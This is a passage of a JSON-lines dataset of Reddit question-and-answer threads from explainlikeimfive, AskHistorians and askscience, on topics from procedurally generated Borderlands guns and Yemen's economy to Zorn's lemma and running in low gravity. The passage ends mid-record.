{"q_id": "b6qo9q", "title": "just watched the borderlands 3 trailer and it said that it would have over 1 billion guns. how are they gonna be able to fit all of that into the game? i get that most of the guns will just be the same but with different stats/rarities, but that's still gotta be a crazy amount of data.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b6qo9q/eli5_just_watched_the_borderlands_3_trailer_and/", "answers": {"a_id": ["ejmez94", "ejmf2gv", "ejmf4f5", "ejmfe8l", "ejmfi1z"], "score": [10, 2, 2, 7, 6], "text": ["Procedural generation.  Instead of having a file which defines all the different stats individually, the programmers create functions which generate the different guns during run-time.\n\nIt could work something like this:\n\n1) Roll a dice, and use the result to determine the color of the gun (1=blue, 2=red, 3=green, ...)\n\n2) Roll a dice and multiply the result by 10 to determine the damage.\n\n3) Roll a dice and multiply the result by 50 to determine the range\n\n4) Roll dice and use the result to determine the base type of the gun\n(1=shotgun, 2=rifle, ...)", "Most of that data is generated on the fly. You don't have to store all the data, you just have to be able to calculate it as you're going. It's a tradeoff: you have a hundred guns in the game, but they are all the same shotgun in different colors. \n\nFor instance: here is how you store a list of all postive integers in the python programming language:\n\n    def allNumbers():\n        i = 0\n        while True:\n            i = i + 1\n            yield i\n\nthat there is an infinite amount of data stored in 5 lines. \n\nThis is the general idea behind f.i procedural generation. The game developer defines some rules on how the data should be created and what structures it must follow, and then the game itself can go on and create an infinite number of new content following thoes rules. Sure, most of it is going to be fairly similar, but if you're clever enough when designing the rules you can make a lot of interesting content that is fun to play with even if it is a bit similar. F.i Minecraft can create (as good as) infinite worlds and it's incredibly fun to explore, even if you know the grand structure of what that world has. ", "Random gun generator. They just put in all the variables and the rules how to combine them. + a few handcrafted weapons.", "Suppose I have ten different gun models. I have ten guns. But now suppose I have ten different shades I can make any gun. Now I have 100 guns. Now suppose I give the option to equip one of ten different scopes on each gun, that is 1000 guns. Ten grips? 10,000 guns.\n\nA billion is only ten digits. That means nine different factors with ten options each. What could they be? Primary color tint, secondary tint, scope, grip, barrel attachment, stock, decorative trinket, firing sound, magazine type.\n\nThere, a billion guns.", "Borderlands weapons system is actually pretty cool from a design perspective. Basically every weapon is randomly generated from a series of \"parts\" that modify a baseline stat profile. For example, a rifle is composed of 6 parts (barrel, grip, stock, body, scope, and accessory) even if they only made 5 of each of these parts they would have 15,625 \"unique\" combinations. This means that they dont have to store the date for all 1billion combinations, just the data on the individual parts and then generate the state line with each drop. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "toyak", "title": "What are some cultures that never considered sex as a taboo subject? (xpost/askreddit)", "selftext": "Or just not as bad as the Western culture made it out to be, if that makes sense.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/toyak/what_are_some_cultures_that_never_considered_sex/", "answers": {"a_id": ["c4oha68"], "score": [4], "text": ["The Piriaha - a truly fascinating people.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Pirah%C3%A3_people#Culture"]]}
{"q_id": "6xeozc", "title": "How did large nomadic empires like Mongols, Parthian, and Turkic people gain access to large amounts of manufactured goods, especially metal arms and armor?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6xeozc/how_did_large_nomadic_empires_like_mongols/", "answers": {"a_id": ["dmfra1f"], "score": [42], "text": ["In the case of the Mongols and Jurchens/Manchus, there were three major sources: trade, self-manufacture, and (most interestingly) the forest peoples living north of the steppe belt.  \n\nWe know that the Mongols and Manchus desired to trade for iron, because the Ming Dynasty in China (1368-1644) and Joseon Korea (1392-1910) banned the sale of iron, weapons, tools, and armor to steppe nomads out of fear that the trade would arm their historical enemies. The same phenomena - and reasoning - are also largely true for the trade between Muscovy/Russia and the Crimeans and Kalmyks in the 15th and 16th centuries. The era I'm talking about here was after the fall of the Mongol empire, but the model of trade - and restriction of trade - extended back to the eleventh and twelfth centuries when the Mongols traded with first the Khitan Liao Dynasty (907-1127) and the Jurchen Jin Dynasty (1115-1234).  \n\nIn the case of the Manchus, they simply conquered regions that produced or traded in iron. The Manchu ruler Nurhaci originally purchased iron from the Ming and Joseon Korea, but after the sale of iron to nomads was once again banned, his capture of Kaiyuan and Tieling gave him access to the iron mines, laborers, and trade routes he needed to produce weapons.  \n\nMetalworking skills were not unknown among the Mongols, but it was less common given their nomadic way of life. That's why, during the period of Mongol ascendancy, they turned towards the forested regions north of the steppe, where the people living on the Amur and Yenesei rivers were more or less sedentary (to my knowledge). The Amur and Yenesei populations possessed sophisticated metalworking techniques, and the difficulty of procuring iron and weapons from southern sedentary empires like China and Byzantium mean these forest zones were a more readily accessible source of skills for the Mongols. Co-opting these peoples was actually more difficult in some cases, because they did not possess pre-existing, large-scale administrative structures that the Mongols could subsume and adapt for their own purposes after conquest. Thus, the Mongols tended to leave the Amur and Yenesei river populations alone and ruled through existing familial networks, in exchange for the services of skilled ironworkers.\n\nSources:\nThomas Allsen, \"Technologies of Governance in the Mongol Empire: a Geographic Overview,\" in David Sneath, ed. *Imperial Statecraft: Political Forms and Techniques of Governance in Inner Asia, Sixth-Twentieth Centuries*  \nEvelyn Rawski, *Early-Modern China and Northeast Asia: Cross-Border Perspectives*  \nDavid Khodarkovsky, *Russia's Steppe Frontier: The Making of a Colonial Empire, 1500-1800*, and Khodarkovsky, *Where Two Worlds Met: The Russian State and the Kalmyk Nomads 1600-1771*  \nHenry Serruys, \"Sino-Mongol Relations During the Ming, III: Trade Relations: the Horse Fairs (1400-1600),\" in *M\u00e9langes chinois et bouddhiques* vol. 17 "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "x0186", "title": "Does giantism occur in other animals? ", "selftext": "Are there any documented cases of it occurring with other animals?\n\nAre there any documented cases of this occurring in animals? Would a \"giant\" elephant be only a few feet taller than average, or would it be proportionally gigantic? \n\nIs this be something that we could even promote in other animals? For example, instead of forcefeeding cows a bunch of growth hormones, could we just selectively breed them or genetically alter them to have giantism? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x0186/does_giantism_occur_in_other_animals/", "answers": {"a_id": ["c5i17pa", "c5i28f5", "c5i95y1"], "score": [2, 4, 2], "text": ["Actually most of our crops and livestock are bred to a form of giantism already, a kind of beef (belgian blue) for example has a mutation that gave it the gene responsible for musclegrowth twice. Wheat got selectively bred over the course of mankinds history that seven different chromosomes occure 6 times. ", "I'm sure that it does happen in animals other than humans, however, it is likely going unnoticed as we do not have an active catalogue of every single animal living on Earth, or if the animal is in captivity, it is quickly treated.\n\nIn humans, gigantism occurs because of an overabundance of Human Growth Hormone (hGH) being released from our Pituitary Gland prior to puberty and throughout the rest of our lives. This leads to classical \"Gigantism\" - as well as all of its associated complications. This most commonly occurs when there is a tumor somewhere (either the hypothalamus or the pituitary gland), so it's clearly not a good thing. If other animals had the same, many may remain undocumented as they likely would die prematurely since would likely not be cared for by their parents if the complications were too severe, or they would be easier prey to hunt as they are easy to spot and lumber around slowly, or they may die from whatever it is that is causing this excess to begin with. They will also likely remain undocumented, again, because we do not have an active catalogue of every single living animal.\n\nHowever, there are many recorded cases of animal gigantism when animals are isolated on islands, or when animals are found very deep in the sea (Island Isolation Gigantism and Deep Sea Isolation Gigantism - Wikipedia has wonderful articles on both). These two are rarely caused by Growth Hormone issues and occur because of variation in environment.\n\nWhat JackAubr3y said is true, as well, but, although I am not a dog breeder, I am unsure as to whether or not dogs with excess growth hormone due to a tumor are selected for size rather than dogs that are larger due to genetic variations (as this would actually promote larger offspring).", "i know you can have double muscles in dogs and cows.  \n\n_URL_0_\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Double-muscled_cattle", "http://blogmuscle.wordpress.com/2007/07/13/wendy-the-whippet-a-mutant-double-muscled-dog-has-internet-abuzz/"]]}
{"q_id": "2yudb0", "title": "how is it that i can see a single strand of spider web from vast distances?", "selftext": "Every now and again (and I think we have all had this happen) I'll look out into the garden or street or what have you, and I can see a single strand of spider silk reflecting back at me, often from over a hundred feet away. How is this possible?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yudb0/eli5_how_is_it_that_i_can_see_a_single_strand_of/", "answers": {"a_id": ["cpd0sat"], "score": [5], "text": ["Because it is reflecting sunlight. If you're now thinking \"but it's so small!\", consider that stars also have imperceptibly small angular size, but you can see them because they emit light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "yg377", "title": "numerology", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yg377/eli5_numerology/", "answers": {"a_id": ["c5v81ve"], "score": [5], "text": ["It's not anything of importance. Applying numerical values to things like letters of names, dates, and such supposedly can be used to predict things or look \"deep into\" a person it event. It doesn't. It's as real as alchemy, astrology, and unicorns.\n\nThat being said, numerology is probably the result of the fact that the human brain is totally wired to see patterns wherever possible. Patterns can help you predict things like where to find food, what food is safe to eat, and when an animal might be dangerous or not. So sometimes, people see patterns (that are real) in things like numerology and think \"OH MAN A PATTERN. This must be important.\" unfortunately, not all patterns are important, and some are basically \"made up\", that is, people try hard to find some sort of pattern where there isn't one, and convince themselves and others that a pattern is there, and it is important."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ynmea", "title": "how can i, a 19-year-old american male, seem to eat a lot of unhealthy food, not exercise, and stay pretty skinny?", "selftext": "I am 19 years old, 6'1\", and about 175 lbs. I am a \"healthy\" weight for my size, and while I have some fat in my gut and not a large amount of muscle mass, I am still considered skinny and \"healthy\" by most people. \n\nHowever, I don't necessarily live a \"healthy\" lifestyle. I eat a good amount of fast food, I drink a few cans of Coke Zero a day (switched from regular Coke about a year ago), and almost never work out. I lay in my bed a lot and play video games or watch TV or sit at my computer, etc. I get some exercise walking across campus to get to my classes, and sometimes I play intramural indoor soccer once a week (and only during the Spring), but that's about all the exercise I get. \n\nHow do I stay a \"healthy\" weight?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ynmea/eli5_how_can_i_a_19yearold_american_male_seem_to/", "answers": {"a_id": ["cpb7tlv", "cpb824h", "cpb83vf"], "score": [3, 4, 6], "text": ["Metabolism, I'm now 28 and just starting to gain weight, I've always been fit and fairly muscular without ever working out and eating however i want but now it's slowly starting to change. Enjoy it while you can.", "Keep an accurate daily food log and an activity journal and then someone could knowledgeably discuss your input to output ratio.  No understanding can arise from talking about an unknown quantity you think you consume versus how little activity you recall engaging in.\n\nTo achieve understanding we must measure things, not guess at them.", "A few reasons.\r\rBy far the biggest difference between \"naturally\" skinny and fat people is how much they eat. Fat people consistently underestimate how much they eat, with very skinny people overestimating how much they really eat. Some people can eat until they're full and not get fat, because their natural appetite control mechanisms work better. This is by far the most important factor.\r\rThe next most important is probably non exercise activity. Some people fidget more than others, tense their muscles more, etc.\r\rTwo more minor factors are how the body responds to overfeeding, and how it partitions nutrients. Everyone's metabolic rate increases in response to overfeeding, some more than others. Differences in hormone levels can change how much extra food intake goes to muscle vs fat.\r\rBasal metabolic rate is probably the most minor factor. 80%+ of people (at a given height/weight/age/sex/activity level) fall within 100-200 calories. Very minor differences. Genuinely fast or slow metabolisms are extremely rare.\r\rCliffs: You probably just naturally eat the right amount to keep a normal weight without needing to think about it. Some other minor stuff like how much you subconsciously fidget might play in too.\r\rThat said, you should try to eat better and exercise more. Obviously being a healthy weight with a crap diet and sedentary lifestyle is still much better than being obese, but you'd be healthier and happier if you ate better and exercised a bit. Not trying to preach, just sayin."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5tv9du", "title": "why are all watches set to 10:09 in adverts?", "selftext": "Every time I've seen a watch advert on TV, the watch is at 10:09. Almost always it is the same in magazines. Apple adverts have their phones at 10:09, and when choosing a face on the Apple Watch all the faces are set to 10:09 until you choose them.\n\nWhy is this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5tv9du/eli5why_are_all_watches_set_to_1009_in_adverts/", "answers": {"a_id": ["ddp9kid", "ddpa465", "ddpo9fa", "ddpvp7p"], "score": [23, 18, 3, 2], "text": ["It's because it's a time that the hands are all clearly visible and not blocking date window. Not only time that would work, but became the norm because it looks balanced, too.", "The 10:09 position gives the clock or watch a number of benefits:\n\n\u2022 The hands are not overlapping, so they're fully and clearly visible and their styling can be admired.\n\n\u2022 The arrangement of the hands is symmetrical, which people generally find more pleasant than asymmetry, making the product more appealing to customers.\n\n\u2022 The manufacturer's logo, usually in the center of the face under the 12, is not only visible but nicely framed by the hands.\n\n\u2022 Additional elements on the face (like date windows or secondary dials), usually placed near the 3, 6, or 9, won't be obscured.", "This simplest answer to this is that in advertisements, it makes the clocks look like they are \"smiling\". Therefore, making it more appealing to the consumer to purchase. Same Psychology behind humans being more willing to spend time around other humans that seem or look happy. ", "Apple adverts always have the phone at 9:41.  This is because the Keynote at WWDC always started at 9, and they unveil the phone at 9:40ish.  If you look back through the history of Apple's official iphone pictures, it's always 9:41."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6zpq5r", "title": "Would anyone be able to tell me any information from this cigarette case from 1918?", "selftext": "Apologies if this is the wrong subreddit to ask but I was wondering if anyone would be able to give me more information on this cigarette case that belonged to my great grandfather?\n\n_URL_0_\n\nAny information would be fantastic, thanks guy!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6zpq5r/would_anyone_be_able_to_tell_me_any_information/", "answers": {"a_id": ["dmx6ag4"], "score": [13], "text": ["So, your great grandfather was a Skipper in the Royal Naval Reserve (RNR). This most likely means that he was captain of a fishing vessel brought into service for the war. However, this is by no means certain - Skipper was a rank equivalent to Warrant Officer in the regular Royal Navy, and so RNR Skippers could serve in other positions. Contemporary Navy Lists give two Skipper H Howards RNR serving in the service: Harry Edward Howard, who received the rank on the 26th Jan 1915, and Harry Howard, with seniority from 7th April 1915. Beyond that, there's not that much information on their service available online. \n\nThe requirements to become a Skipper RNR are given here:\n\n >  To qualify for the Warrant Rank of Skipper, Royal Naval Reserve, a candidate, other than a Second hand, must:\u2014\n(a) Have commanded a British steam trawler for at least two years, and have served at sea in this capacity within six months of making application for appointment.\n(b) Possess a Board of Trade Certificate as Skipper\n(c) Have satisfactorily completed the qualifying period of training prescribed in Para. 32 A. \n\nThe qualifying period was just 8 days of training aboard a trawler, with 4-8 days of additional training every two years.\n\nFrom the remainder of the inscription, the R.W.F is most likely the Royal Welsh Fusiliers (from 1920, the Royal Welch Fusiliers), a Welsh infantry regiment. Several battalions of this regiment served in Egypt, but the one that is relevant is the 2nd Garrison Battalion. This served at Cairo from April 1916, but moved to Sollum in 1917, where it would remain until after the signing of the Armistice. The cigarette case was presented by the senior non-commissioned officers of the battalion, the sergeants and warrant officers. A number of trawlers, both hired and those constructed for the Admiralty, served in and around the Gulf of Sollum during the war, with one, *Fulmar*, being mined in January 1916. Another flotilla served around Alexandria, losing two ships over the course of the war. They had several duties, primarily ASW patrols and minesweeping. "]}, "title_urls": [], "selftext_urls": ["https://imgur.com/a/uHOld"], "answers_urls": [[]]}
{"q_id": "9g08cf", "title": "What are the reasons for Yemen being so poor as compared to it's neighbouring countries (Saudi Arabia, Bahrain, UAE, Iran etc)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9g08cf/what_are_the_reasons_for_yemen_being_so_poor_as/", "answers": {"a_id": ["e60w10s"], "score": [71], "text": ["Yemen's recent history is a tale of division and war, which makes it hard for the country to grow the kind of sustained economy you see from other places on the Arabian peninsula or around the world.\n\n# Geography plays a bigger role in this kind of divergence than it's often given credit for.\n\nThe Sarawat mountains run along Yemen's western coast and many cities are located there, including the capital San'a. This kind of terrain can make governing difficult. Transportation and communication become more difficult, particularly prior to the last few decades of technological developments in these areas. A more fractured society is an almost inevitable result.\n\nThe mountains, along with the climate (frequent droughts), also create a situation where agriculture becomes difficult. [According to the World Bank](_URL_0_), only 2.4 percent of Yemen's land area can be farmed. While that's a higher percentage than other Arab states, it's still low, and Yemen is also working with a much smaller land area than many other nations in the region.\n\n[Furthermore Yemen is, comparatively to other Gulf states, not a rich source of oil, as it has smaller fields that were discovered much later than its counterparts.](_URL_1_) It does not belong to OPEC.\n\nNevertheless, agriculture and oil production make up a significant part of Yemen's economy.\n\nIt's intrinsically difficult hard for a country where communication and transportation are challenging and the leading industries are so constrained by a lack of natural resources to be economically prosperous.\n\n# Mutawakkilite Kingdom and the British Aden Protectorate\n\nLike other Arab states, much of Yemen gained independence after the collapse of the Ottoman empire in 1918.\n\nThe Mutawakkilite Kingdom of Yemen existed from 1918 to 1962, but to say they ruled over all of what you would consider modern Yemen would be an overstatement.\n\nFirst, the aforementioned geography made governing a difficult task.\n\nBut perhaps more notably, the British had maintained the Aden Protectorate, in the south of Yemen, since 1874. While the Ottomans had mostly accepted this arrangement, the Mutawakkilite Kingdom dreamed of uniting the territory. This desire led to decades-long fighting along and over the border between the two entities. Beyond the border skirmishes, the Mutawakkilite Kingdom also did what they could to support tribal revolts within the protectorate.\n\nThe Mutawakkilite Kingdom faced its own share of in-fighting, too. The first imam was assassinated in a coup attempt in 1948, effectively deposing the regime until his son succeeded him as imam months later. There was another coup attempt in 1955, and then finally a successful one in 1962 after a power vacuum that followed the death of the second imam.\n\nAll of these pressures made it difficult for Yemen to place the same emphasis on modernization that other Arab states exhibited during this time.\n\n# North and South Yemen\n\nAfter years of struggle to maintain control, the British finally departed for good in 1967.\n\nYemen became divided into two countries, with effectively a military dictatorship (Yemen Arab Republic) in the north and a socialist satellite state of the Soviet Union (People's Democratic Republic of Yemen) in the south, from 1967 through 1990.\n\nBoth nations dealt with infighting (including civil wars in the South) as well as tension with one another.\n\nNeither state did well economically, due in large part to the challenges mentioned above.\n\n# Since unification\n\nYemen unified in 1990 to form the Republic of Yemen.\n\nThings might have turned around for Yemen economically here, but the Iraqi invasion of Kuwait threw a wrench into things. Yemen opposed other (non-Arab) countries intervening, essentially allying itself with Iraq. Saudi Arabia responded by kicking nearly one million Yemeni workers out of the country and reducing economic aid to Yemen.\n\nAs we've seen from other divided countries who unified, integration is not a straightforward process. The Persian Gulf War created an economic crisis in the Gulf at a time when the newly unified Yemen could have used a lifeline. And by choosing Iraq, Yemen put itself on the losing side. It lost out on a lot of aid that could have helped.\n\nThe first Yemeni Civil War since unification happened in 1994 and the current one began in 2015. Wars are, in so many ways, economically expensive. It's hard to produce oil and involve yourself in the world economy when your country is at war.\n\n# Conclusion\n\nGeographic considerations alone render it virtually impossible for Yemen's economy to resemble Saudi Arabia's or Iraq's.\n\nCombined those limitations with decades of division and war, and you have a struggling country that doesn't have the resources, infrastructure, or peacetime needed to develop."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://data.worldbank.org/indicator/ag.lnd.arbl.zs", "https://www.thenational.ae/business/comment/the-volatile-history-of-oil-gas-and-water-production-in-yemen-continues-1.683275"]]}
{"q_id": "3vspdg", "title": "How does Zorns lemma work?", "selftext": "I'm wondering, is an open interval on R considered a partially ordered set (and also totally ordered), and in this case I'd argue that the set has no maximal point, as the minimal upper bound is not included in the set. What am i misinterpreting?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3vspdg/how_does_zorns_lemma_work/", "answers": {"a_id": ["cxqc01v"], "score": [11], "text": ["Zorn's Lemma says that if we have a partially ordered set S with the property that every totally ordered subset has an upper bound in S, then S has a maximal element.\n\nIf you look at an open interval like (0,2), then I can look at the totally ordered subset (1,2). This does not have a maximal element in (0,2), so I can't apply Zorn's Lemma to (0,2).\n\nHere's how we should think of Zorn's Lemma: Note that if I have a partially ordered set S with a maximal element M, then any totally ordered subset A of S will satisfy \"For all x in A x < =M\". Is the converse of this true? If every totally ordered subset A of S satisfies \"There exists an s in S so that for all x in A x < =s\", then can I conclude that there exists an M in S so that every x in S satisfies x < =M? In other words, can I \"glue together\" all of the upper bounds of all totally ordered subsets to obtain an element that is maximal for all elements of S? This is what Zorn's Lemma asserts.\n\nBecause (0,2) is already a totally ordered subset of itself, it would need an upper bound in itself before we could even think of applying Zorn's lemma."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4fvots", "title": "Do quarks and other elementary particles have mass? Does the concept of mass still make sense/apply at that scale? Is there a Planck mass, similar to a Planck length, that is the smallest mass something can be?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4fvots/do_quarks_and_other_elementary_particles_have/", "answers": {"a_id": ["d2cdbwm"], "score": [25], "text": ["Yes they have mass.\n\nThere is a Planck mass, it's comparable to the mass of a very small insect. A black hole with the Planck mass would have a Schwarzschild radius comparable to the Planck length. However, the Planck length is not the smallest length something can be, [it is not a universal pixel size](_URL_0_), the Planck units are are just constructed from physical constants and roughly describe the scale at which quantum gravity is relevant.\n\nI would also be wary of anything you read about Planck units on Wikipedia, as many of those articles have unsourced and wrong information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.physicsforums.com/insights/hand-wavy-discussion-planck-length/"]]}
{"q_id": "20wyz0", "title": "When/how did the concept of \"soft power\" enter into diplomacy?", "selftext": "A lot of reddit/the general public complain over the lack of the use of hard power by supranational organizations such as the UN and EU and NATO. This got me thinking; is soft power projection a relatively recent phenomenon due to the invention of nuclear weapons or if it has its roots in previous diplomatic practices. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20wyz0/whenhow_did_the_concept_of_soft_power_enter_into/", "answers": {"a_id": ["cg83gmf"], "score": [2], "text": ["The phrase \"soft power \" was only coined in 1990 by Joseph Nye and popularized over the last few decades, but the idea that states can and should use non-coercive tools like cultural influence or economic ties to achieve their aims isn't new.\n\nTo cite what I happen to be reading at the moment, Orlando Figes in *The Crimean War* spends the first few chapters on very \"soft power\" aspects of the dynamic in the early- and mid-1800s--how the Russians exploited cultural ties to the Orthodox community in the Ottoman Empire, how the British sought to increase their influence over the Ottoman elite through westernization, and the role of the various churches in the holy land as both a driver and a tool of European statecraft, to highlight just a few themes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "36ntua", "title": "Why did artists like Leonardo da Vinci and Caravaggio name themselves after towns or cities?", "selftext": "I\u2019m doing a MOOC course on EdX on European paintings made from 1400 to 1828. Some artists name themselves after a town or city, possibly the town they were born in like da Vinci and Caravaggio (whose real name is Michelangelo Merisi). \n\nWhy name yourself after a town?\n\nIn Caravaggio\u2019s example, was he known to the world then as Michelangelo or Caravaggio?\n\nWhat's stopping townfolks from the city of Caravaggio to claim to be him? How did Caravaggio protect his name and IP?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/36ntua/why_did_artists_like_leonardo_da_vinci_and/", "answers": {"a_id": ["crftzth"], "score": [2], "text": ["It was a tradition in that time period to refer to yourself by your first name and by the town you lived in/were born in. In the Italian language, Leonardo da Vinci is basically calling himself \"Leonardo of the Town of Vinci.\" People of higher status, like nobels and high-class artists, did this more often than the average citizen. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9mqqv3", "title": "i\u2019ve had a mini pumpkin on my desk for over two years and it hasn\u2019t rotted yet. why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9mqqv3/eli5_ive_had_a_mini_pumpkin_on_my_desk_for_over/", "answers": {"a_id": ["e7gl434", "e7gn6mx"], "score": [4, 3], "text": ["It probably dried out before it could rot?", "BTW I thought the same until I picked it up: the bottom, which contacted the table, was quite rotten and left a major mark on the wood. Couldn\u2019t tell from a couple feet away that anything was wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1cdryo", "title": "Does relativity imply that gravity is a pseudo-force?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1cdryo/does_relativity_imply_that_gravity_is_a/", "answers": {"a_id": ["c9fj2ue", "c9fkfrs"], "score": [9, 6], "text": ["\"Force\" is not the best-defined term in physics. We tend to call it a force more often than not, but you're right that it's different than all the other forces because it's not an effect particles have on each other, but rather an effect of particles moving on natural paths through spacetime itself.", "That's correct, the appearance of the downwards force of gravity is just an artifact of the fact we are working in an accelerated reference frame with respect to spacetime geodesics. So in that sense, it's a fictitious force, in exactly the same way as centrifugal force, with which people are familiar. \n\n(Of course, the coupling of the curvature of spacetime to the stress-energy-momentum tensor is very non-fictitious.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3inr7y", "title": "Do learned behaviors have an effect on evolution?", "selftext": "For example, there are pods (?) of dolphins that have learned special methods of hunting fish, like stirring up mud to trap the fish against the surface. The dolphins teach their offspring this method, increasing the chances of their offspring surviving because of this superior hunting method. It seems to me that even if a dolphin weren't particularly fast or healthy, it could still survive because of this \"smart\" hunting. \n\nSome species of monkey have also learned to use tools to open nuts/fruit, which is another behavior that is passed on through nurturing. \n\nAnother (extreme) example would be humans and modern medicine. Have we \"beaten\" evolution because we can cure the people who otherwise would have died from Chicken Pox, etc.? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3inr7y/do_learned_behaviors_have_an_effect_on_evolution/", "answers": {"a_id": ["cui5bks", "cui7fzm"], "score": [3, 8], "text": ["Yes, as anything that increases an individual's fitness is going to increase the likely hood of passing on its genes to future generations.  \n\nAs for humans \"beating\" evolution, no you don't beat evolution, not with our understanding of genetics anyways. Certain factors, like inherent disease resistance, may have less of an effect on humanities' natural selection now then it did 20,000 years ago, but other mutations in out genetic code can still have a huge effect on our evolution.  A mutation, for example, that inhibits something during fetal development is still out of our hands.  \n\nAs a side note, I believe people can still readily die from chicken pox and its more dangerous form shingles.", "While learned behaviors certainly influence evolution, it is important to remember that the specific learned behaviors themselves are not being passed on via evolution, and that there is a cost to learning.  Nobody 'beats' evolution, but what exactly is under selection can change.\n\nWhat you're talking about in most of these cases is cultural transmission (of information) as opposed to the transmission of genetic information.  The difference between these types of information sharing is that as soon as you take an individual out of the social environment and raise it somewhere else, the advantage of learning is gone.  Ie, if you took a human and raised them without ever letting them interact with another human being, they lose the benefit of all the accumulated knowledge.\n\nWhat learned behaviors can do is change the selection individuals experience.  In your dolphin example, learning to hunt by stirring up mud might reduce selection on swimming speed by reducing the need to chase fast prey, but it might increase selection on visual acuity (ie, to see prey in muddy water).  It might also select on increased learning capacity, so that individuals who learn new hunting methods more quickly can start catching prey at an earlier age or with less practice. \n\nIt's important to remember that increased learning doesn't come for free.  Learning comes at the cost of time (using one of your examples, just think about the amount of time it takes to comprehend modern medicine..) and the cost of making mistakes before the behavior is perfected.  They also have a physiological cost of increased brain size, which can feed back into increased gestation and development time, which then reduces the number of children a parent can successfully raise.  In some cases it's worth the cost, but in many cases it's not."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1njbnr", "title": "Space density.", "selftext": "Is it possible that in the universe that certain locations have a huge enough difference in terms of density that the speed of light maybe affected?\n\nSimilar to how light travels at different velocities within different mediums of space.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1njbnr/space_density/", "answers": {"a_id": ["ccj4oh5"], "score": [2], "text": ["There are several terms in your question that aren't well defined:\n > huge enough difference in terms of density\n\n > different mediums of space\n\nWhen in a vacuum, light will travel at 3x10^8 m/s. Period. When light is moving through some material (gas, water, glass, etc...) it will be measured, macroscopically at least, to be moving slower. \n\nWith regard to the speed of light, it makes no difference where you are in the universe. \n\nThe density of a medium can indicate how fast light passes through it, but the real picture is more complicated. For example, ethanol is less dense than water, but light travels faster through water (naively, you would expect the opposite to be the case)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "j4ss3", "title": "Which would be the ideal amount of gravity to run the fastest 100m?", "selftext": "I'm pretty sure we would benefit from a lower amount of gravity, but not to the point of having none of it at all.\n\nFor example, how much would it take Usain Bolt to run the 100m in a track field on the surface of the moon? (let's consider he is wearing the same clothes, breathes the same kind of air, etc.)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/j4ss3/which_would_be_the_ideal_amount_of_gravity_to_run/", "answers": {"a_id": ["c2956xx", "c2957do", "c295fz1", "c2961xv", "c2962gr", "c2963we", "c297wjm"], "score": [5, 45, 2, 19, 7, 2, 16], "text": ["I suppose you should take into account the tecchnique used for running in such an environment, wich might be different from the one we use on earth ... ", "The belief that a reduced amount of gravity helping us run may not be correct. Considering we evolved on earth, our bodies (and that of all other organisms) are optimized for the conditions the earth has set out for us. ", "This is an interesting question, but I think you also need to consider fluid dynamics also.  The energy we use in running is not devoted to keeping us off the ground, but rather moving us forward.  It is the atmosphere around us that largely prevents you from just accelerating all the way to the finish line.  Think of the difference of running in a pool versus on dry land.  The same gravity applies, but it'd be impossible to run a 5 minute mile through a kiddie pool.", "I've tried to run in simulated Martian gravity (in a computer-controlled harness).  I now have a lot of sympathy for the lunar astronauts.  Even in Mars gravity (that's what, 0.4g?), you can't do so much as shuffle, you have to hop.  There just isn't enough friction to reliably give yourself a horizontal shove.\n\nSince your mass doesn't change with gravity, any increase in gravity will increase your friction without increasing your inertia.  Conversely, any decrease in gravity will decrease your friction without decreasing your inertia.\n\nThere is also the problem with increased gravity leading to increased atmospheric pressure, which means more air to push through, which will slow you down.  The math you'd need to calculate how that would compare to the benefit of increased friction with the ground is beyond me.", "[I made a plot](_URL_0_) of the medal winners in the modern Olympics. This 